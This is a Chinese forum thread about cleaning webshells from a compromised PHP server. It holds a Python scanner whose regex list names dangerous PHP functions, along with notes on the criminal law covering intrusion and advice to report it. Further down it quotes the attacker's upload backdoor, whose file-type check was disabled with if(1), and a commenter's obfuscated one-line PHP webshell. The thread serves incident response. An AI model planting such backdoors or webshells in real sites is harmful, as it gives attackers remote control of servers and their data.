php webshell 查杀
本帖最后由 odmin 于 2023-10-8 09:23 编辑哇草,干活第一天就搞事情!!!清理了半天!
import os
import re
import concurrent.futures
def scan_directory(directory, log_file):
with open(log_file, 'w') as log:
file_paths = get_php_file_paths(directory)
with concurrent.futures.ThreadPoolExecutor() as executor:
results = {executor.submit(scan_file, file_path): file_path for file_path in file_paths}
for future in concurrent.futures.as_completed(results):
file_path = results
has_webshell = future.result()
if has_webshell:
log.write(file_path + '\n')
def get_php_file_paths(directory):
file_paths = []
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith('.php'):
file_path = os.path.join(root, file)
file_paths.append(file_path)
return file_paths
def scan_file(file_path):
with open(file_path, 'r', encoding='utf-8', errors='ignore') as file:
contents = file.read()
# 添加其他可疑代码的正则表达式
webshell_patterns = [
r'\s*\$mix=',
r'\$shellname\s*=\s*\'[^\']*\'',
r'\$PHP Encode by\s*=\s*\'[^\']*\'',
# r'@set_time_limit\s*\(\s*0\s*\)',
r'function\s+Class_UC_key\s*\(\s*\$string\s*\)\s*{',
r'eval\s*\'[^\']*\'',
# r'base64_decode\s*\(',
# r'system\s*\(',
# r'exec\s*\(',
# r'shell_exec\s*\(',
# r'passthru\s*\(',
# r'proc_open\s*\(',
# r'popen\s*\(',
# r'assert\s*\(',
# r'require\s*\(',
# r'require_once\s*\(',
# r'include\s*\(',
# r'include_once\s*\(',
# r'chmod\s*\(',
# r'chown\s*\(',
# r'copy\s*\(',
# r'delete\s*\(',
# r'file_put_contents\s*\(',
# r'fopen\s*\(',
# r'fwrite\s*\(',
# r'move_uploaded_file\s*\(',
# r'mkdir\s*\(',
# r'rmdir\s*\(',
# r'unlink\s*\(',
# r'symlink\s*\(',
# r'mysql_query\s*\(',
# r'preg_match\s*\(',
# r'md5\s*\(',
# r'sha1\s*\(',
# r'curl_exec\s*\(',
# r'base_convert\s*\(',
# r'extract\s*\(',
# r'parse_str\s*\(',
# r'ini_set\s*\(',
]
for pattern in webshell_patterns:
regex = re.compile(pattern, re.IGNORECASE)
if regex.search(contents):
return True
return False
# 指定要扫描的目录和日志文件路径
directory_to_scan = '/www/wwwroot/'
log_file_path = 'log.txt'
# 扫描目录并将未包含可疑特征的文件路径写入日志文件
scan_directory(directory_to_scan, log_file_path)
print("扫描完成。请查看 log.txt 文件获取未包含可疑特征的文件列表。")
目标已经找到:
附上法律:
在法律中,和攻击入侵有关的主要是《刑法》第二百八十五和第二百八十六两条,以及相关司法解释。有无触犯这两项法条主要依据以下三点:
[*]有没有越权控制系统;
[*]有没有越权获得数据;
[*]有没有破坏系统可用性。
网页恶意篡改很大情况下都表明系统已经被入侵了并被控制,且造成系统内的数据被窃取。像CC、DDOS这种恶意攻击行为直接破坏了系统的可用性,导致系统无法正常运行和提供服务。
以上这两点攻击行为,根据《刑法》第二百八十六条“违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑……”妥妥得要进去吃牢饭了。
最后,如果报警了是否会得到妥善处理呢?
事实上,公安部网络违法案件举报网站会认真对待每一条举报线索。经核查后情况属实的,公安机关将依法对被举报网站以及相关人员做出处理,并将处理情况反馈给举报人。
所以,一旦发现网页被篡改或者服务器有被入侵或控制的迹象,请不要犹豫,及时做好安全应急响应,保留日志证据并报警,减少后续的损失,让坏人被绳之以法!
本帖最后由 odmin 于 2023-10-7 12:25 编辑
还留了上传后门~~<?php
header("Content-Type:text/html; charset=gb2312");
if(isset($_POST['submit']))
{
$upfiles = new Upload();
$upfiles->upload_file();
}
class Upload
{
public $upload_name; //上传文件名
public $upload_tmp_name; //上传临时文件名
public $upload_final_name; //上传文件的最终文件名
public $upload_target_dir; //文件被上传到的目标目录
public $upload_target_path; //文件被上传到的最终路径
public $upload_filetype ; //上传文件类型
public $allow_uploadedfile_type; //允许的上传文件类型
public $upload_file_size; //上传文件的大小
public $allow_uploaded_maxsize=10000000; //允许上传文件的最大值
//构造函数
public function __construct()
{
$this->upload_name = $_FILES["file"]["name"]; //取得上传文件名
$this->upload_filetype = $_FILES["file"]["type"];
$this->upload_tmp_name = $_FILES["file"]["tmp_name"];
$this->allow_uploadedfile_type = array('jpeg','jpg','png','gif','bmp','doc','zip','rar','txt','wps');
$this->upload_file_size = $_FILES["file"]["size"];
//定义上传路径,现在的上传和upload.php在同级
$this->upload_target_dir="./";
}
//文件上传
public function upload_file()
{
$upload_filetype = $this->getFileExt($this->upload_name);
//对上传文件类型的限制,改成if(1)则没有限制
if(1) //in_array($upload_filetype,$this->allow_uploadedfile_type))
{
if($this->upload_file_size < $this->allow_uploaded_maxsize)
{
if(!is_dir($this->upload_target_dir))
{
mkdir($this->upload_target_dir);
chmod($this->upload_target_dir,0777);
}
//定义服务器存储时的文件名(默认和上传的原始文件同名)
$this->upload_final_name = $this->upload_name; //date("YmdHis").rand(0,100).'.'.$upload_filetype;
$this->upload_target_path = $this->upload_target_dir."/".$this->upload_final_name;
if(!move_uploaded_file($this->upload_tmp_name,$this->upload_target_path))
echo "<font color=red>文件上传失败!</font>";
else
echo "<font color=blue>文件上传成功!</font>";
}
else
{
echo("<font color=red>文件太大,上传失败!</font>");
}
}
else
{
echo("不支持此文件类型,请重新选择");
}
}
/**
*获取文件扩展名
*@Param String $filename 要获取文件名的文件
*/
public function getFileExt($filename){
$info = pathinfo($filename);
return $info["extension"];
}
}
?>
<form enctype="multipart/form-data" method="POST" action="">
<input type="file" name="file"><input type="submit" name="submit" value="上传">
</form> @odmin兄弟,未来这种大小马记得也分享出来,这上传小马写的真不错,世界一流水平,像这种持续多平台的小马还真不多。我拿走了谢谢,对了,我的一句话,<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}(@${$___});你怎么没有查出来呢,哈哈 不错,简单实用! 你是招惹哪个了 还是对方想进去的很了 日志留没留东西 留了报就打1️⃣1️⃣0️⃣ 你这是Tp的哪个版本啊,知道是哪个文件漏洞造成的嘛
1188 发表于 2023-10-7 14:34
你这是Tp的哪个版本啊,知道是哪个文件漏洞造成的嘛
3.2.3 TP. 哈哈,这个是外包公司做的一个狗屁系统~不维护了!
估计是什么某鱼社区团购系统+dede的官方站。都被日了。
下午又发现了,挂的马!!!~
找到你了马儿:
挂的马儿:
看看访问日志:
这扫描器有点意思 3.23 和 dede的漏洞都很多,这两个项目都不维护了,我估计你这是被批量扫了,如果不能升级项目就搞个bt的防火墙,也能拦截住这些漏洞。这站的特征已经暴露,时不时的就会被扫到。 你这是蜜罐还是啥呀? 网络安全+python编程代码组合,实用性还是很强!
页:
[1]
2